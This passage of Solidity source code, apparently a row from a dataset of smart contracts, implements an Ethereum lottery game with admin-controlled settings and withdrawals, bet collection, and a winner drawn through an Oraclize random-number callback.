{
_to.transfer(AP_totalBalanceDonateWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceDonateWei, 1);
AP_totalBalanceDonateWei = 0;
}
function withdrawTotalBalanceCommissionWei(address _to) public onlyADM()
{
_to.transfer(AP_totalBalanceCommissionWei);
LOG_WithdrawWei(msg.sender, _to, AP_totalBalanceCommissionWei, 2);
AP_totalBalanceCommissionWei = 0;
}
function changeOraclizeAccountingSettings(uint256 _OAS_oraclizeRandomGas) public onlyADM()
{
OAS_idOraclizeAccountingSettings++;
OAS_oraclizeRandomGas = _OAS_oraclizeRandomGas;
OAS_oraclizeRandomGwei = _OAS_oraclizeRandomGas * 20;
LOG_ChangeOraclizeAccountingSettings(msg.sender, OAS_idOraclizeAccountingSettings, OAS_oraclizeRandomGas, OAS_oraclizeRandomGwei);
}
}
contract GameBase is Accounting, usingOraclize
{
event LOG_ChangeGameSettings
(address indexed _called, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec);
event LOG_ChangeStatusGame(address indexed _called, uint256 _GP_roundNum, uint8 _status);
uint256 public GS_idGameSettings;
uint256 public GS_betSizeFinney;
uint256 public GS_maxAmountBets;
uint256 public GS_minStartAgentAmountBets;
uint256 public GS_maxAgentAmountBets;
uint256 public GS_maxAmountBetsInOneTransaction;
uint8 public GS_commissionPct;
bool public GS_commissionType;
uint256 public GS_betTimeoutSec;
uint256 public GP_roundNum;
uint256 public GP_amountBets;
uint256 public GP_lastBetTimeSec;
uint8 public GP_statusGame;
mapping(address => uint256) internal GPA_agentAddressId;
address[] internal GPA_agentIdAddress;
uint256[] internal GPA_agentIdBetsSum;
uint256[] internal GPA_betNumAgentId;
modifier onlyNoBets()
{
require(GP_amountBets == 0);
_;
}
modifier stop()
{
require(GP_statusGame == 0);
_;
}
function withdrawAllWei(address _to) public onlyADM() onlyNoBets()
{
LOG_WithdrawWei(msg.sender, _to, this.balance, 3);
_to.transfer(this.balance);
AP_totalBalanceDonateWei = 0;
AP_totalBalanceCommissionWei = 0;
}
function changeGameSettings
(uint256 _GS_betSizeFinney, uint256 _GS_maxAmountBets, uint256 _GS_minStartAgentAmountBets, uint256 _GS_maxAgentAmountBets, uint256 _GS_maxAmountBetsInOneTransaction,
uint8 _GS_commissionPct, bool _GS_commissionType, uint256 _GS_betTimeoutSec) public onlyADM() onlyNoBets()
{
require(OAS_oraclizeRandomGwei > 0);
require(_GS_betSizeFinney <= 10000);
require(_GS_maxAmountBets <= 1000000 && _GS_maxAmountBets >= 3);
require(_GS_maxAmountBetsInOneTransaction <= 150);
require(_GS_minStartAgentAmountBets <= _GS_maxAmountBetsInOneTransaction);
require(_GS_minStartAgentAmountBets <= _GS_maxAgentAmountBets);
require(_GS_maxAgentAmountBets < _GS_maxAmountBets);
require(_GS_commissionPct <= 99);
GS_idGameSettings++;
GS_betSizeFinney = _GS_betSizeFinney;
GS_maxAmountBets = _GS_maxAmountBets;
GS_minStartAgentAmountBets = _GS_minStartAgentAmountBets;
GS_maxAgentAmountBets = _GS_maxAgentAmountBets;
GS_maxAmountBetsInOneTransaction = _GS_maxAmountBetsInOneTransaction;
GS_commissionPct = _GS_commissionPct;
GS_commissionType = _GS_commissionType;
GS_betTimeoutSec = _GS_betTimeoutSec;
LOG_ChangeGameSettings
(msg.sender, GP_roundNum, GS_idGameSettings,
_GS_betSizeFinney, _GS_maxAmountBets, _GS_minStartAgentAmountBets, _GS_maxAgentAmountBets, _GS_maxAmountBetsInOneTransaction,
_GS_commissionPct, _GS_commissionType, _GS_betTimeoutSec);
}
function changeStatusGame(uint8 _value) public onlyADM() onlyNoBets()
{
require(_value <= 1);
GP_statusGame = _value;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, _value);
}
function getAgentIdByAddress(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = GPA_agentAddressId[_agentAddress];
if (id != 0 && id <= GPA_agentIdAddress.length)
{
if (GPA_agentIdAddress[id - 1] == _agentAddress)
{
value = GPA_agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdressById(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= GPA_agentIdAddress.length)
{
value = GPA_agentIdAddress[_agentId - 1];
}
return value;
}
function getBetsSumByAgentId(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= GPA_agentIdBetsSum.length)
{
value = GPA_agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentIdByPositionBet(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= GPA_betNumAgentId.length)
{
value = GPA_betNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsAmount() public constant returns(uint256)
{
return GPA_agentIdAddress.length;
}
function GameBase()
{
GP_roundNum = 1;
}
}
contract Game is GameBase
{
event LOG_Request_CallbackOraclize(address indexed _called, uint256 _GP_roundNum, uint256 _OAS_idOraclizeAccountingSettings, bytes32 _queryId, uint8 _type);
event LOG_ForciblyRequest_CallbackOraclize(address _called, uint256 _GP_roundNum, uint8 _confirmType);
event LOG_CallbackOraclize(uint256 _GP_roundNum, bytes32 _queryId, bytes _proof);
event LOG_Bet(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _amountBets, uint256 _spentFinney);
event LOG_Win(address indexed _agent, uint256 _agentId, uint256 _GP_roundNum, uint256 _GS_idGameSettings,
uint256 _GP_amountBets, uint256 _betsSum, uint256 _spentFinney,
uint256 _winWei, uint256 _luckyNumber);
event LOG_Commision(uint256 _GP_roundNum, uint256 _GS_idGameSettings, uint256 _AP_nowRoundBankBalanceWei, uint256 _GS_commissionPct, uint256 _commisionWei);
function bet() payable public
{
require(GP_statusGame == 1);
uint256 amountBets;
amountBets = (msg.value / ACns_WeiInFinney) / GS_betSizeFinney;
require(amountBets > 0);
uint256 agentId;
agentId = getAgentIdByAddress(msg.sender);
require(amountBets >= GS_minStartAgentAmountBets || agentId != 0);
if ((amountBets + GP_amountBets) > GS_maxAmountBets)
{
amountBets = GS_maxAmountBets - GP_amountBets;
}
if ((amountBets + getBetsSumByAgentId(agentId)) > GS_maxAgentAmountBets)
{
amountBets = GS_maxAgentAmountBets - getBetsSumByAgentId(agentId);
}
if (amountBets > GS_maxAmountBetsInOneTransaction)
{
amountBets = GS_maxAmountBetsInOneTransaction;
}
require(amountBets > 0);
if (agentId == 0)
{
GPA_agentIdAddress.push(msg.sender);
agentId = GPA_agentIdAddress.length;
GPA_agentAddressId[msg.sender] = agentId;
GPA_agentIdBetsSum.push(0);
}
GPA_agentIdBetsSum[agentId - 1] = getBetsSumByAgentId(agentId) + amountBets;
while (GPA_betNumAgentId.length < GP_amountBets + amountBets)
{
GPA_betNumAgentId.push(agentId);
}
uint256 amountBetsSizeWei = amountBets * GS_betSizeFinney * ACns_WeiInFinney;
LOG_AcceptWei(msg.sender, msg.value, 2);
LOG_WithdrawWei(msg.sender, msg.sender, msg.value - amountBetsSizeWei, 4);
msg.sender.transfer(msg.value - amountBetsSizeWei);
LOG_Bet(msg.sender, agentId, GP_roundNum, GS_idGameSettings, amountBets, amountBets * GS_betSizeFinney);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei + amountBetsSizeWei;
GP_amountBets = GP_amountBets + amountBets;
GP_lastBetTimeSec = block.timestamp;
if (GP_amountBets > GS_maxAmountBets - GS_minStartAgentAmountBets)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
if (AP_nowRoundBankBalanceWei > oraclizeRandomWei)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - oraclizeRandomWei;
request_callback(1);
}
else
{
GP_statusGame = 3;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
}
}
function play(uint256 _luckyNumber) private
{
uint256 winnerId = getAgentIdByPositionBet(_luckyNumber);
address winnerAddress = getAgentAdressById(winnerId);
uint256 commissionSizeWei;
if (GS_commissionType)
{
commissionSizeWei = AP_nowRoundBankBalanceWei / 100 * GS_commissionPct;
}
else
{
commissionSizeWei = (GP_amountBets - getBetsSumByAgentId(winnerId)) * (GS_betSizeFinney * ACns_WeiInFinney) / 100 * GS_commissionPct;
}
AP_totalBalanceCommissionWei = AP_totalBalanceCommissionWei + commissionSizeWei;
AP_nowRoundBankBalanceWei = AP_nowRoundBankBalanceWei - commissionSizeWei;
LOG_Commision(GP_roundNum, GS_idGameSettings, AP_nowRoundBankBalanceWei, GS_commissionPct, commissionSizeWei);
winnerAddress.transfer(AP_nowRoundBankBalanceWei);
LOG_WithdrawWei(msg.sender, winnerAddress, AP_nowRoundBankBalanceWei, 5);
LOG_Win(winnerAddress, winnerId, GP_roundNum, GS_idGameSettings,
GP_amountBets, getBetsSumByAgentId(winnerId), getBetsSumByAgentId(winnerId) * GS_betSizeFinney, AP_nowRoundBankBalanceWei, _luckyNumber);
GP_statusGame = 1;
GP_amountBets = 0;
GP_roundNum++;
AP_nowRoundBankBalanceWei = 0;
delete GPA_agentIdAddress;
delete GPA_agentIdBetsSum;
delete GPA_betNumAgentId;
}
function thisIsTheEnd(address _to) public onlyADM() onlyNoBets()
{
selfdestruct(_to);
}
function request_callback(uint8 _type) private
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, OAS_oraclizeRandomGas);
LOG_Request_CallbackOraclize(msg.sender, GP_roundNum, OAS_idOraclizeAccountingSettings, queryId, _type);
}
function forciblyRequest_callback() payable public
{
uint8 confirm;
if (GP_statusGame == 3 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 1;
}
if (GP_statusGame == 2 && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 2;
}
if (GP_statusGame == 1 && (block.timestamp > GP_lastBetTimeSec + GS_betTimeoutSec) && (agents[msg.sender] == 1 || communityRegulator))
{
confirm = 3;
}
if (confirm > 0)
{
uint256 oraclizeRandomWei = OAS_oraclizeRandomGwei * ACns_WeiInGwei;
require(msg.value >= oraclizeRandomWei);
msg.sender.transfer(msg.value - oraclizeRandomWei);
if (confirm != 2)
{
GP_statusGame = 2;
LOG_ChangeStatusGame(msg.sender, GP_roundNum, GP_statusGame);
}
LOG_ForciblyRequest_CallbackOraclize(msg.sender, GP_roundNum, confirm);
request_callback(2);
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
require(msg.sender == oraclize_cbAddress());
require (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0);
require(GP_statusGame == 2);
LOG_CallbackOraclize(GP_roundNum, _queryId, _proof);
play(uint(sha3(_result)) % GP_amountBets + 1);
}
function startRequest_callback() payable public onlyADM() onlyNoBets() stop()
{
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, 100000);
LOG_Request_CallbackOraclize(msg.sender, 0, 100000, queryId, 0);
}
function Game()
{
oraclize_setProof(proofType_Ledger);
}
} | 0 | 2,587 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.